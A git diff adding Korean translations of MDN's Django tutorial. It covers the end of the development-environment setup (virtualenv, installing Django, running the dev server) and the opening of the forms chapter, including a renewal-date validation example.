+<p><strong>주의</strong>: 이 시점부터 이 기사 ( 정확히는 이 모듈)에서 실행되는 모든 명령은 위에서 우리가 설정한 파이썬 가상환경내에서 실행되는 것으로 간주합니다.</p>
+</div>
+
+<h3 id="가상_환경_사용하기">가상 환경 사용하기</h3>
+
+<p>당신이 알아야 하는 명령이 몇 가지 더 있다.(도구 문서에는 더 많이 있긴하지만, 아래 명령이 꾸준히 사용하게될 명령들이다):</p>
+
+<ul>
+ <li><code>deactivate</code> — 활성화된 파이썬 가상 환경을 비활성화한다</li>
+ <li><code>workon</code> — 사용가능한 가상 환경 목록을 보여준다</li>
+ <li><code>workon name_of_environment</code> — 특정 파이썬 가상 환경을 활성화한다</li>
+ <li><code>rmvirtualenv name_of_environment</code> — 특정 환경을 제거한다.</li>
+</ul>
+
+<h2 id="장고_설치하기">장고 설치하기</h2>
+
+<p>일단 가상 환경을 하나 생성하고, 진입하기 위해 <code>workon</code> 을 호출하면 장고를 설치하기 위해 pip3를 사용할 수 있다. </p>
+
+<pre class="brush: bash notranslate">pip3 install django
+</pre>
+
+<p>아래 명령을 실행하여 장고가 설치되었는지 테스트할 수 있다 (이 명령은 단지 파이썬이 django 모듈을 찾을 수 있는지 테스트한다):</p>
+
+<pre class="brush: bash notranslate"># Linux/macOS X
+python3 -m django --version
+ 2.0
+
+# Windows
+py -3 -m django --version
+ 2.0
+</pre>
+
+<div class="note">
+<p><strong>주의</strong>: 위의 윈도우 명령이 django 모듈이 존재하는지 보여주지 않으면, 아래 명령을 시도해보세요:</p>
+
+<pre class="notranslate"><code>py -m django --version</code></pre>
+
+<p>당신의 설치 방법에 따라 변할수도 있긴 하지만, 윈도우에서는 파이썬 3 스트립트는 <code>py -3</code>을 명령앞에 붙여야 실행됩니다. 명령 실행에 문제가 있으면 <code>-3</code>옵션을 빼 보세요. 리눅스/맥OS  X 에서는 <code>python3</code>명령입니다.</p>
+</div>
+
+<div class="warning">
+<p><strong>중요사항</strong>: 이 <strong>모듈</strong> 의 나머지부분에서는 파이썬 3를 실행하는 명령으로 리눅스 명령 (<code>python3</code>) 을 사용합니다. 당신이 윈도우에서 진행중이라면 단지 명령 앞부분을 <code>py -3</code>로 변경하면 됩니다.</p>
+</div>
+
+<h2 id="설치한_것_확인하기">설치한 것 확인하기</h2>
+
+<p>위 테스트는 성공해도 그리 재미있는 작업은 아니었습니다. 더 흥미있는 테스트는 기초적인 프로젝트를 생성해서 동작하는것을 보는것입니다. 이것을 해보기 위해, 명령 프롬프트/터미널에서 장고 앱을 저장할 부모폴더로 이동하세요. 테스트 사이트용 폴더를 생성하고 그 폴더안으로 이동하세요.</p>
+
+<pre class="brush: bash notranslate">mkdir django_test
+cd django_test
+</pre>
+
+<p>그 다음 아래와 같이 <strong>django-admin</strong> 도구를 이용해 "<em>mytestsite</em>" 라는 사이트의 기본 토대를 생성할 수 있습니다. 사이트를 생성한 이후 그 폴더로 가면 해당 프로젝트를 관리할수 있는 <strong>manage.py</strong> 라는 이름의 메인 스크립트파일을 발견할 것입니다.</p>
+
+<pre class="brush: bash notranslate">django-admin startproject mytestsite
+cd mytestsite</pre>
+
+<p>이 폴더내에서 <code>runserver</code> 명령과 <strong>manage.py</strong> 를 이용하여 아래와 같이 개발용 웹 서버를 실행할 수 있습니다.</p>
+
+<pre class="brush: bash notranslate">$ python3 manage.py runserver
+Performing system checks...
+
+System check identified no issues (0 silenced).
+
+You have 15 unapplied migration(s). Your project may not work properly until you apply the migrations for app(s): admin, auth, contenttypes, sessions.
+Run 'python manage.py migrate' to apply them.
+
+October 26, 2018 - 07:06:30
+Django version 2.1.2, using settings 'mytestsite.settings'
+Starting development server at http://127.0.0.1:8000/
+Quit the server with CONTROL-C.
+</pre>
+
+<div class="note">
+<p><strong>주의</strong>: 위 명령은 Linux/macOS X 명령을 보여준다. 지금 시점에서는  "15 unapplied migration(s)" 의 경고 문구는 무시해도 됩니다 !</p>
+</div>
+
+<p>일단 서버가 실행중이면 당신 시스템의 웹 브라우저로 아래 URL에 가서 만들어진 사이트를 볼 수 있습니다: <code>http://127.0.0.1:8000/</code>. 방문한 사이트에서 아래와 같은 모습이 보여야 합니다:</p>
+
+<p><img alt="Django Skeleton App Homepage" src="https://mdn.mozillademos.org/files/15728/Django_Skeleton_Website_Homepage.png"></p>
+
+<ul>
+</ul>
+
+<h2 id="요약">요약</h2>
+
+<p>당신은 이제 장고 개발 환경을 구축하고 당신의 컴퓨터에서 실행중입니다.</p>
+
+<p>마지막 확인 섹션에서  <code>django-admin startproject</code> 명령을 이용해 어떻게 새로운 장고 웹사이트를 생성할 수 있는지 간단하게 확인했습니다. 그리고 개발용 웹 서버를 이용해 당신의 브라우저로 웹사이트를 실행했습니다(<code>python3 manage.py runserver</code>). 다음 튜토리얼에서는 간단하지만 완전한 웹 어플리케이션을 구축하는 이 과정을 좀 더 상세히 설명합니다.</p>
+
+<h2 id="더불어_보기">더불어 보기</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.0/intro/install/">빠른 설치 가이드</a> (Django 문서)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/install/">Django 설치하는 법 — 완벽 가이드</a> (Django 문서) - Django를 제거하는 방법도 포함됨</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/howto/windows/">윈도우에 장고 설치하기</a> (Django 문서)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}</p>
+
+<h2 id="이_모듈에_포함된_튜토리얼">이 모듈에 포함된 튜토리얼</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/ko/learn/server-side/django/forms/index.html b/files/ko/learn/server-side/django/forms/index.html
new file mode 100644
index 0000000000..e8b51c3bf5
--- /dev/null
+++ b/files/ko/learn/server-side/django/forms/index.html
@@ -0,0 +1,682 @@
+---
+title: 'Django 튜토리얼 파트 9: 폼(form)으로 작업하기'
+slug: Learn/Server-side/Django/Forms
+translation_of: Learn/Server-side/Django/Forms
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">이 튜토리얼에서 우리는 Django에서 HTML Form 작업 방법을 보여주고 특히 model Instance를 생성,수정,제거 하는 Form을 작성하는 가장 쉬운 방법을 보여줄 것이다. 이 예제의 일부분으로 우리는 도서관직원이 (admin 앱을 이용하기 보다) 우리가 만든 form을 이용하여 책 대여기간을 연장하거나 작가 정보를 생성,수정,제거할 수 있도록 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> 웹사이트를 확장할 것이다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전학습:</th>
+   <td>아래 파트를 포함하여 앞선 모든 튜토리얼 파트의 학습을 완료할것 <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions">Django 튜토리얼 파트 8: 사용자 인증과 이용권한</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">학습목표:</th>
+   <td>사용자로 부터 정보를 얻고 database를 수정하는 form을 작성하는 방법을 이해하기. 일반 클래스 기반 form 편집용 view가  단독 model로 동작하는 form을 작성할 때 얼마나 많이 단순화할 수 있는지 이해하기. </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="개요">개요</h2>
+
+<p><a href="/ko/docs/Web/Guide/HTML/Forms">HTML 폼(Form)</a> 은 웹 페이지상에서 한개 이상의 필드나 위젯들의 묶음을 말하며, 사용자로부터 정보를 수집하여 서버에 제출하는데 사용된다. 다양한 종류의 데이타 입력을 지원하는 위젯들( 텍스트 박스, 체크 박스, 라디오 버튼, 날짜 선택기 등등)이 많이 존재하기 때문에, 폼은 사용자 입력을 수집하는데 유연한 장치라고 할 수 있다. 폼은 또한, 교차 사이트 요청 위조 방지(CSRF protection, cross-site request forgery protection)와 함께 <code>POST</code>요청으로 데이타를 보낼수 있도록 지원하므로, 데이타를 서버와 공유하는데 있어서 비교적 안전한 방법이다.</p>
+
+<p>지금까지 이 튜토리얼에서 우리가 직접 폼을 생성한 적은 없지만, Django 관리 사이트에서 이미 경험해 보았다. 예를 들면, 아래 스크린 샷에서 <a href="/ko/docs/Learn/Server-side/Django/Models">Book</a> 모델중 하나를 편집하는 폼을 보여주고 있는데, 몇개의 선택 목록과 텍스트 에디터를 볼 수 있다.</p>
+
+<p><img alt="Admin Site - Book Add" src="https://mdn.mozillademos.org/files/13979/admin_book_add.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>폼을 개발하는 것은 복잡한 작업이 될수도 있다! 개발자는 일단, 폼을 위한 HTML을 작성해야 하며, 서버로 입력된 (아마도 브라우저로도 입력된) 데이타의 유효성을 검증하고 적절하게 수정하도록 하고, 유효하지 않은 입력에 대해서 사용자가 알 수 있도록 폼을 에러 메시지와 함께 다시 표시해야하며,성공적으로 제출된 데이타를 적절히 처리하고, 마지막으로 성공했을 경우 사용자가 알수 있게 응답하도록 개발 해야 한다. <em>Django 폼은 다음과 같은 기능의 프레임워크를 제공하여 이 모든 단계중 많은 부분을 덜어내 준다. 이 프레임워크는 폼과 그에 연관된 필드를 프로그램적으로 정의하여 객체를 만들고, 폼 HTML 코드를 작성하는 작업과 데이타 유효성 검증과 사용자 상호작용에 이 객체들을 사용한다.</em></p>
+
+<p>이번 튜토리얼에서는, 폼을 생성하고 폼으로 작업하는 몇가지 방법을 보여줄 것이다. 특히, 모델을 처리하는 폼을 작성하는데 필요한 작업량을, generic 편집 폼 view를 이용하여 어떻게 획기적으로 줄일 수 있는지 보여줄 것이다. 그 과정에서, 도서관 사서들이 도서관 책 상태를 갱신할 수 있는 폼을 추가하고 책과 저자를 생성, 편집, 삭제할수 있는 페이지를  생성할 것이다. (즉, 위와 같이 책을 편집하는 폼의 기본적인 버전을 다시 개발하는 것이다).</p>
+
+<h2 id="HTML_폼Form_이란">HTML 폼(Form) 이란?</h2>
+
+<p>첫번째로 <a href="/en-US/docs/Learn/HTML/Forms">HTML 폼(Form</a>)에 대한 간단한 개요이다. 어떤 "team"의 이름을 입력하는 단일 텍스트 필드와 관련 라벨을 가진 간단한 HTML 폼을 생각해보자:</p>
+
+<p><img alt="Simple name field example in HTML form" src="https://mdn.mozillademos.org/files/14117/form_example_name_field.png" style="border-style: solid; border-width: 1px; display: block; height: 44px; margin: 0px auto; width: 399px;"></p>
+
+<p>폼은 HTML에서 적어도 한 개 이상의 <code>type="submit"</code>인 <code>input</code> 요소를 포함하는 <code>&lt;form&gt;...&lt;/form&gt;</code> 태그 사이의 요소들의 집합으로 정의된다.</p>
+
+<pre class="brush: html">&lt;form action="/team_name_url/" method="post"&gt;
+    &lt;label for="team_name"&gt;Enter name: &lt;/label&gt;
+    &lt;input id="team_name" type="text" name="name_field" value="Default name for team."&gt;
+    &lt;input type="submit" value="OK"&gt;
+&lt;/form&gt;</pre>
+
+<p>위 코드에서는 팀 이름을 입력하기 위한 텍스트 필드를 단지 한개만 가지는데, 폼이 가질수 있는 입력 요소와 관련 라벨의 갯수에는 제한이 없다. 필드의  <code>type</code> 속성은 어떤 종류의 위젯이 표시될지 정의한다.  필드의 <code>name</code>과 <code>id</code> 가 JavaScript/CSS/HTML에 있는 필드를 확인하는데 사용되고 <code>value</code>는 필드가 처음 표시될 때의 초기값을 정의한다. 관련 팀 라벨은 <code style="font-style: normal; font-weight: normal;">label</code>태그(  위 코드에서 "Enter name"을 확인)를 이용해 명시된다.  여기서 <code style="font-style: normal; font-weight: normal;">for</code>필드는 관련된 <code style="font-style: normal; font-weight: normal;">input</code>의  <code style="font-style: normal; font-weight: normal;">id</code>값을 포함하고 있다. </p>
+
+<p><code>submit</code> 타입의 input 태그는 (기본적으로) 사용자가 누를수 있는 버튼으로 표시되는데, 버튼의 동작에 의해 폼의 다른 모든 input 요소의 데이터가 서버로 업로드된다 (위의 경우는 <code>team_name</code>만 업로드된다).  폼 속성으로는 데이터를 보내기 위해 사용되는 HTTP <code>method</code>와 서버상에서 데이타의 목적지를 ( <code>action</code>으로) 정의한다:</p>
+
+<ul>
+ <li><code>action</code>: 폼이 제출(submit)될 때 처리가 필요한 데이타를 전달받는 곳의 자원/URL 주소. 설정이 안되면 (혹은 빈 문자열로 설정되면), 폼은 현재 페이지 URL로 다시 제출된다.</li>
+ <li><code>method</code>: 데이터를 보내는데 사용되는 HTTP 메소드: <em>post</em> 이거나 <em>get 이다.</em>
+  <ul>
+   <li><code>POST</code> 메소드는 사이트간 요청 위조 공격에 좀 더 저항성이 좋게 만들 수 있기  때문에, 관련 데이터에 의해 서버 데이터베이스가 변경될 경우에는 항상 사용 되어야 한다. </li>
+   <li><code>GET</code> 메소드는 사용자 데이터를 변경하지 않는 폼(예를 들면 , 탐색 폼)에서만 사용되어야 한다. URL을 북마크하길 원하거나 공유하기를 원하는 경우에 추천한다. </li>
+  </ul>
+ </li>
+</ul>
+
+<p>서버의 역할은 첫번째로 - 필드를 비워두거나 초기값으로 채워두도록 - 초기 폼 상태를 표시하는 것이다. 사용자가 제출 버튼을 누른후에, 서버는 웹 브라우저로부터 폼의 데이타를 념겨 받고, 데이타의 유효성 검증을 해야한다. 폼이 유효하지 않은 데이타를 담고 있다면, 서버는 폼을 다시 표기해야 하는데, 이번에는 사용자가 입력한 유효한 데이타는 그대로 표시하며, 유효하지 않은 필드만 경고 메시지와 함께 표기해야 한다. 일단 모든 필드의 데이타가 유효한 폼 데이타의 제출요청을 서버가 받게 되면, 서버는 적절한 동작(예를 들면, 데이타를 저장하거나, 검색결과를 반화하거나, 파일을 업로딩하는 등등의 작업)을 수행하고 사용자에게 알려주게된다.</p>
+
+<p>당신이 상상할 수 있듯이, HTML을 작성하고, 입력된 데이타의 유효성을 검증하고, 필요시에 입력된 데이타를 검증 결과와 함게 다시 표시하며, 유효한 데이타에 대해 요구되는 동작을 수행하는 것은 "올바르게 하기"위해서는 꽤 많은 노력이 필요한 작업이다. Django는 일부 과중한 작업과 반복 코드를 줄여줌으로서, 이 작업을 훨씬 쉽게 만든다!</p>
+
+<h2 id="Django_폼_처리_과정">Django 폼 처리 과정</h2>
+
+<p>Django의 폼 처리 과정은 (모델에 대한 정보를 보여주는데 있어서) 우리가 앞선 튜토리얼에서 배웠던 것과 같은 기술을 사용한다. : 뷰는 요청을 받고, 모델로 부터 데이타를 읽는것을 포함한 요구되는 동작을 수행한다. 그런 다음, (보여줄 데이타를 포함한 context를 전달받은 템플릿으로 부터) HTML page를 생성하고 반환한다. 서버 또한 사용자가 입력한 데이타를 처리가능 해야 하며,  에러가 있으면 그 페이지를 다시 보여줄 필요가 있기 때문에 상황을 더욱 복잡하게 만든다. </p>
+
+<p>아래에 Django가 어떻게 요청읕 처리하는지 보여주는 플로우 차트가 있다. 폼을 포함하는 페이지에 대한 요청 (초록색으로 표시함) 으로 시작하고 있다. </p>
+
+<p><img alt="Updated form handling process doc." src="https://mdn.mozillademos.org/files/14205/Form%20Handling%20-%20Standard.png" style="display: block; height: 569px; margin: 0px auto; width: 800px;"></p>
+
+<p>위의 다이어그램에 기반하여, Django 폼이 주요하게 다루는 것은 다음과 같다. :</p>
+
+<ol>
+ <li>사용자가 처음으로 폼을 요청할 때 기본 폼을 보여준다.
+  <ul>
+   <li>폼은 비어있는 필드가 있을 수 있다 (예를 들면, 새로운 책을 등록할 경우) 아니면 초기값으로 채워진 필드가 있을 수도 있다. ( 예를 들면, 기존의 책을 수정하거나, 흔히 사용하는 초기값이 있을경우)</li>
+   <li>이 시점의 폼은 (초기값이 있긴해도) 유저가 입력한 값에 연관되지 않았기에  unbound 상태라고 불린다.</li>
+  </ul>
+ </li>
+ <li>제출 요청으로 부터 데이타를 수집하고 그것을 폼에 결합한다.
+  <ul>
+   <li>데이타를 폼에 결합(binding) 한다는 것은 사용자 입력 데이타와 유효성을 위반한 경우의 에러메시지가 폼을 재표시할 필요가 있을 때 준비되었다는 의미이다.</li>
+  </ul>
+ </li>
+ <li>데이타를 다듬어서 유효성을 검증한다.
+  <ul>
+   <li>데이타를 다듬는다는 것은 사용자 입력을 정화(sanitisation) 하고 (예를 들면, 잠재적으로 악의적인 콘덴츠를 서버로 보낼수도 있는 유효하지 않은 문자를 제거하는 것)  python에서 사용하는 타입의 데이타로 변환하는 것이다.</li>
+   <li>유효성검증은 입력된 값이 해당 필드에 적절한 값인지 검사한다. (예를 들면, 데이타가 허용된 범위에 있는 값인지, 너무 짧거나 길지 않은지 등등) </li>
+  </ul>
+ </li>
+ <li>입력된 어떤 데이타가 유효하지 않다면, 폼을 다시 표시하는데 이번에는 초기값이 아니라 유저가 입력한 데이타와 문제가 있는 필드의 에러 메시지와 함께 표시한다.</li>
+ <li>입력된 모든 데이타가 유효하다면, 요청된 동작을 수행한다. (예를 들면, 데이타를 저장하거나, 이메일을 보내거나, 검색결과를 반환하거나, 파일을 업로딩하는 작업 등등)</li>
+ <li>일단 모든 작업이 완료되었다면, 사용자를 새로운 페이지로 보낸다.</li>
+</ol>
+
+<p>Django는 위에 설명된 작업을 도와줄 수많은 도구와 접근법을 제공한다. 가장 기초적인 것은 <code>Form</code> 클래스 인데 form HTML의 생성과 데이터 정화와 유효성검증을 간단하게 만든다. 다음 단계에서는, 도서관 사서가 책의 대여갱신을 할수 있도록 해주는 페이지의 실제적인 예제를 이용해 폼이 어떻게 동작하는지 살펴보도록 한다.</p>
+
+<div class="note">
+<p><strong>참고사항:</strong>  <code>Form</code> 이 어떻게 사용되는지 이해해두면 Django의 "고급 레벨" 폼 프레임워크 클래스를 논의하는데 도움이 된다.</p>
+</div>
+
+<h2 id="책_대여갱신_form과_함수_view">책 대여갱신 form과 함수 view</h2>
+
+<p>다음으로 도서관직원이 대여기간을 갱신할수 있는 페이지를 추가할 것이다. 이 작업을 위해 사용자가 날짜 정보를 입력할 수 있는 form을 생성할 것이다.  그 필드는 현재날짜로 부터 3주의 기간 (일반적인 대여기간)으로 초기화될 것이다. 그리고 도서관직원이 과거날짜를 입력하거나 너무 긴 대여기간을 입력하지 않도록 유효성 체크기능을 추가할 것이다.  유효 날짜가 입력되면, 현재 record의 <code>BookInstance.due_back</code> 필드에 써넣을 것이다.</p>
+
+<p>아래 예제는 함수기반 view와 <code>Form</code> 클래스를 이용할 것이다. 이어지는 내용에서 form 동작 방법과 현재진행중인 LocalLibray 프로젝트에서 변경할 내용을 설명한다.</p>
+
+<h3 id="Form_작성하기">Form 작성하기</h3>
+
+<p><code>Form</code> 클래스는 Django form 관리 시스템의 핵심이다. <code>Form</code> 클래스는 form내 field들, field 배치, 디스플레이 widget, 라벨, 초기값, 유효한 값과 (유효성 체크이후에) 비유효 field에 관련된 에러메시지를 결정한다. <code>Form</code> 클래스는 또한 미리 정의된 포맷(테이블, 리스트 등등) 의 템플릿으로 그자신을 렌더링하는 method나 (세부 조정된 수동 렌더링을 가능케하는) 어떤 요소의 값이라도 얻는 method를 제공한다.</p>
+
+<h4 id="Form_선언하기">Form 선언하기</h4>
+
+<p><code>Form</code> 을 선언하는 문법은 <code>Model</code>을 선언하는 것과 많이 닮았으며, 같은 필드타입을 사용한다. ( 또한 일부 매개변수도 유사하다) . 두가지 경우 모두 각 필드가 데이타에 맞는 (유효성 규칙에 맞춘) 타입인지 확인할 필요가 있고, 각 필드가 보여주고 문서화할 description을 가진다는 것에서 Form과 Model이 유사한 문법으로 구성된다는 점을 납득할 수 있다. </p>
+
+<p>Form 데이타는 어플리케이션 디렉토리 안의 forms.py 파일에 저장되어야 한다. <strong>locallibrary/catalog/forms.py</strong> 파일을 생성하고 열어보자. <code>Form</code>을 생성하기 위해, <code>Form</code>클래스에서 파생된, <code>forms</code>라이브러리를 import 하고 폼 필드를 생성한다. 아래는 도서관 책 갱신 폼에 대한 아주 기본적인 폼 클래스이며 이를 생성한 파일에 추가하자.</p>
+
+<pre class="brush: python">from django import forms
+
+class RenewBookForm(forms.Form):
+    renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).")
+</pre>
+
+<h4 id="Form_필드">Form 필드</h4>
+
+<p>우리가 구현할 구체적인 내용은 다음과 같다. 대여갱신 날짜를 입력할 한 개의 <code><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#datefield">DateField</a></code> 를 가지는데, 이 필드는 "Renewal date:"라는 라벨로 초기값 없이 빈 칸으로 HTML에 표시되게 된다. 그리고 다음과 같은 도움문구가 추가 된다: "<em>Enter a date between now and 4 weeks (default 3 weeks).</em>" 따로 추가지정할 선택사항 없이, 이 필드는 Django의 <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#django.forms.DateField.input_formats">input_formats</a>: YYYY-MM-DD (2016-11-06), MM/DD/YYYY (02/26/2016), MM/DD/YY (10/25/16) 을 이용하여 날짜를 입력받는다. 그리고 Django의 기본 <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#widget">widget</a>: <a href="https://docs.djangoproject.com/en/2.0/ref/forms/widgets/#django.forms.DateInput">DateInput</a> 를 이용하여 표시될 것이다.</p>
+
+<p>다음과 같이, 대응되는 모델 필드와 유사성 때문에, 여러분이 의미를 대체로 알만한 수많은 종류의 폼필드가 있다 : <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#booleanfield"><code>BooleanField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#charfield"><code>CharField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#choicefield"><code>ChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#typedchoicefield"><code>TypedChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#datefield"><code>DateField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#datetimefield"><code>DateTimeField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#decimalfield"><code>DecimalField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#durationfield"><code>DurationField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#emailfield"><code>EmailField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#filefield"><code>FileField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#filepathfield"><code>FilePathField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#floatfield"><code>FloatField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#imagefield"><code>ImageField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#integerfield"><code>IntegerField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#genericipaddressfield"><code>GenericIPAddressField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#multiplechoicefield"><code>MultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#typedmultiplechoicefield"><code>TypedMultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#nullbooleanfield"><code>NullBooleanField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#regexfield"><code>RegexField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#slugfield"><code>SlugField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#timefield"><code>TimeField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#urlfield"><code>URLField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#uuidfield"><code>UUIDField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#combofield"><code>ComboField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#multivaluefield"><code>MultiValueField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#splitdatetimefield"><code>SplitDateTimeField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#modelmultiplechoicefield"><code>ModelMultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#modelchoicefield"><code>ModelChoiceField</code></a> .</p>
+
+<p>대부분의 필드에 공통적인 인자들은 아래와 같다. ( 이들은 적절한 기본값을 가지고 있다 ):</p>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#required">required</a>: <code>True</code> 로 설정되면, 필드를 빈칸으로 두거나 <code>None</code> 값을 줄 수 없게된다. 보통필드는 required는 True로 기본 설정되므로, 폼에서 빈 칸을 허용하기 위해서는<code>required=False</code> 로 설정해야 한다. </li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#label">label</a>: HTML에서 필드를 렌더링할때 사용하는 레이블이다. <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#label">label</a> 이 지정되지 않으면,  Django는 필드 이름에서 첫번째 문자를 대문자로, 밑줄을 공백으로 변형한 레이블을 새로 생성할 것이다. (예를 들면, renewal_date  --&gt; <em>Renewal date</em>).</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#label-suffix">label_suffix</a>: 기본적으로, 콜론(:)이 레이블 다음에 표시된다. (예를 들면, Renewal date<strong>:</strong>). 이 인자는 다른 문자(들)를 포함한 접미사를 지정할 수 있도록 해준다.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#initial">initial</a>: 폼이 나타날 때 해당 필드의 초기 값.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#widget">widget</a>: 사용할 디스플레이 위젯.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#help-text">help_text</a> (위의 예에서 봤듯이): 필드 사용법을 보여주는 추가적인 문구.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#error-messages">error_messages</a>: 해당 필드의 에러 메시지 목록. 필요하면 문구를 수정할 수 있다.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#validators">validators</a>: 해당 필드가 유효한 값을 가질 때 호출되는 함수의 목록.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#localize">localize</a>: 폼 데이타 입력의 현지화(localisation)를 허용함 (자세한 정보는 해당 링크 참조).</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#disabled">disabled</a>: 이 옵션이 <code>True</code> 일때 해당 필드를 볼 수는 있지만 편집이 안됨. 기본 값은 <code>False</code>.</li>
+</ul>
+
+<h4 id="유효성_체크">유효성 체크</h4>
+
+<p>Django는 데이타의 유효성을 체크할 수 있는 수많은 지점을 제공한다. 어떤 필드의 유효성을 체크하는 가장 쉬운 방법은 해당 필드의  <code>clean_<strong>&lt;fieldname&gt;</strong>()</code> 메소드를  덮어쓰는 것이다. 예를 들면, 입력된 <code>renewal_date</code> 값이 현재로 부터 4 주이후 사이에 있는지는, <code>clean_<strong>renewal_date</strong>()</code> 를 아래와 같이 구현하여 유효성 체크를 수행할 수 있다.</p>
+
+
+
+<p>forms.py 파일을 업데이트 하면 아래와 같은 모습이 된다:</p>
+
+
+
+<pre class="brush: python"><code><strong>import datetime</strong>
+
+from django import forms
+<strong>from django.core.exceptions import ValidationError
+from django.utils.translation import ugettext_lazy as _
+</strong>
+class RenewBookForm(forms.Form):
+    renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).")
+
+<strong>    def clean_renewal_date(self):
+        data = self.cleaned_data['renewal_date']
+
+        # Check if a date is not in the past.
+        if data &lt; datetime.date.today():
+            raise ValidationError(_('Invalid date - renewal in past'))
+
+        # Check if a date is in the allowed range (+4 weeks from today).
+        if data &gt; datetime.date.today() + datetime.timedelta(weeks=4):
+            raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead'))
+
+        # Remember to always return the cleaned data.
+        return data</strong></code></pre>
+
